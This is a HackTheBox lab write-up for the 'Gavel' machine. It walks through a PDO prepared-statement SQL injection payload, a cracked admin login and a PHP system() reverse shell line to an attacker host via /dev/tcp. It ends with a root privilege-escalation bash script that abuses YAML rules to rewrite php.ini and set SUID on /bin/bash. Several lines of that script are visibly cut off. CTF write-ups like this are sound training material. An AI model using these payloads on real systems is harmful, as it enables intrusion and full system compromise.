HackTheBox - Gavel Writeup

Difficulty: Medium OS: Linux (Ubuntu) Author: HTB

Summary

Gavel is a medium-difficulty Linux machine featuring an auction web application with multiple vulnerabilities. Initial access is achieved through SQL injection that bypasses PDO prepared statement protection, allowing extraction of admin credentials. After cracking the bcrypt hash, access to the admin panel enables Remote Code Execution via the runkit_function_add() PHP function. Privilege escalation involves exploiting a YAML injection vulnerability in a root-owned daemon process, bypassing PHP sandbox restrictions to obtain root access.

Reconnaissance

Nmap Scan

nmap -sC -sV -oN nmap/initial TARGET_IP

nmap scan for the machine

Web Enumeration

Adding gavel.htb to /etc/hosts:

Directory enumeration reveals an exposed .git repository:

gobuster dir -u http://gavel.htb -w /usr/share/wordlists/dirb/common.txt
/.git/HEAD            (Status: 200)
/admin.php            (Status: 302)
/assets               (Status: 301)
/index.php            (Status: 200)
/login.php            (Status: 200)

Git Repository Extraction

Using git-dumper to extract the exposed repository: https://github.com/arthaud/git-dumper

git-dumper http://gavel.htb/.git/ ./gavel-git
cd gavel-git
git checkout .

Source Code Analysis

Key Files Discovered:

FilePurposeinventory.phpSQL Injection vulnerabilityincludes/bid_handler.phpRCE via runkit_function_add()admin.phpAuction rule management (requires auctioneer role)includes/config.phpDatabase credentials: gavel:gavel

SQL Injection - PDO Bypass

Vulnerable Code (inventory.php)

$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";

$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
$stmt->execute([$userId]);

The Challenge

  • The sort parameter is wrapped in backticks with backticks stripped
  • The user_id parameter uses PDO prepared statements with ? placeholder
  • Traditional SQL injection appears blocked

The Bypass Technique

Payload:

http://gavel.htb/inventory.php?user_id=x`+FROM+(SELECT+group_concat(username,0x3a,password)+AS+`%27x`+FROM+users)y;--+-&sort=\?;--+-%00
user_id=x` FROM (SELECT group_concat(username,0x3a,password) AS `'x` FROM users)y;-- -
sort=\?;-- -%00
  1. \? breaks PDO parameter detection - PDO scans for ? placeholders before parsing MySQL syntax. The backslash causes PDO to treat \? as an escaped literal, miscounting parameters.
  2. %00 null byte - Causes C-level string truncation in the MySQL driver, breaking prepared statement binding.
  3. Parameter binding fails - The user_id value is no longer safely bound and gets interpreted as raw SQL.
  4. Subquery executes - Returns concatenated credentials displayed as inventory items.

Extracted Credentials

- During initial source code review, the string **“auctioneer”** appeared multiple times.

- This suggested that `auctioneer` was a valid username for the login form at `/login.php`.

Exploitation – Login Brute Force

you can use any other bruteforcing tools like hydra, medusa, etc.to bruteforce the credentials and we got it right.

the username and password are;

Username: auctioneer

Password: midnight1

after loging in to admin dash as auctioneer

Logged in successfully as auctioneer.

Navigated to the admin panel, where the rules parameter was vulnerable to Remote Code Execution (RCE).

-Injected a reverse shell payload: create one from here; https://www.revshells.com/

editing rules to get a reverse shell

system('bash -c "sh -i >& /dev/tcp/<attacker_ip>/<attacker_port> 0>&1"');

On the attacker machine start a listener mine i used penelope use one of your choice.

penelope -p 4444 (default is 4444 so no need to specify the port if 4444 is not busy with onother listening)

(netcat listener)

nc -lvnp <attacker_port>

penelope shell cool right

Reverse shell established.

penelope reverse shell image

Got a shell as www.data and needed actioneer so i first changed directory to home Retrieved the user flag from $HOME.

user flag retrieval

then Switched to the auctioneer user with su auctioneer.

became auctioneer and that is really cool

Privilege Escalation

Discovered /usr/local/bin/gavel-util could submit YAML files that were executed server‑side.

Crafted a malicious YAML to overwrite php.ini and remove restrictions (disable_functions, open_basedir):

used this script credits to user @845511915622629396 from discord

```bash
#!/bin/bash
echo "[*] Screw Gavel Root Exploit"
echo "[*] Stand-by..."
WORKDIR="/tmp/pwn_$(date +%s)"
mkdir -p "$WORKDIR"
cd "$WORKDIR"

echo "[*] Step 1: Overwriting php.ini to remove disable_functions and open_basedir..."
cat << 'EOF_INI' > ini_overwrite.yaml
name: IniOverwrite
description: Removing restrictions
image: "data:image/png;base64,AA=="
price: 1337
rule_msg: "Config Pwned"
rule: |
  file_put_contents('/opt/gavel/.config/php/php.ini', "engine=On\ndisplay_errors=On\nopen_basedir=/\ndisable_functions=\n");
  return false;
EOF_INI
/usr/local/bin/gavel-util submit ini_overwrite.yaml
echo "[*] Config overwrite submitted. Waiting 5 seconds for stability..."
sleep 5

echo "[*] Step 2: Triggering system() to SUID /bin/bash..."
cat << 'EOF_SUID' > root_suid.yaml
name: RootSuid
description: Getting Root
image: "data:image/png;base64,AA=="
price: 1337
rule_msg: "Shell Pwned"
rule: |
  system("chmod u+s /bin/bash");
  return false;
EOF_SUID
/usr/local/bin/gavel-util submit root_suid.yaml

echo "[*] Payload submitted. Checking /bin/bash permissions..."
sleep 2

if ls -la /bin/bash | grep -q "rws"; then
    echo "[+] SUCCESS! /bin/bash is now SUID root."
    echo "[*] Spawning root shell and reading /root/root.txt ..."
    /bin/bash -p -c 'cat /root/root.txt; exec /bin/bash -p'
else
    echo "[-] Exploit failed. /bin/bash is not SUID."
    echo "[*] Trying alternative payload (copy bash)..."

    cat << 'EOF_COPY' > root_copy.yaml
name: RootCopy
description: Getting Root Alt
image: "data:image/png;base64,AA=="
price: 1337
rule_msg: "Shell Pwned Alt"
rule: |
  copy('/bin/bash', '/tmp/rootbash');
  chmod('/tmp/rootbash', 04755);
  return false;
EOF_COPY
    /usr/local/bin/gavel-util submit root_copy.yam
    sleep 2

    if [ -f /tmp/rootbash ]; then
        echo "[+] Alternative payload SUCCESS! /tm
        echo "[*] Spawning root shell and reading 
        /tmp/rootbash -p -c 'cat /root/root.txt; e
    else
        echo "[-] All attempts failed."
        exit 1
    fi
fi 
```

after running the bashscript above boom it spit the flag

root flag for gavel

This was easy thats why it was not the intended way: Brute forcing the auctioneer login, exploiting RCE in the admin panel, and escalating via gavel-util.

The intended way was definitely SQL injection in inventory.php but you can use the path of your choice

---

fibal badge

peace!!

HAPPY HACKING!!!!!!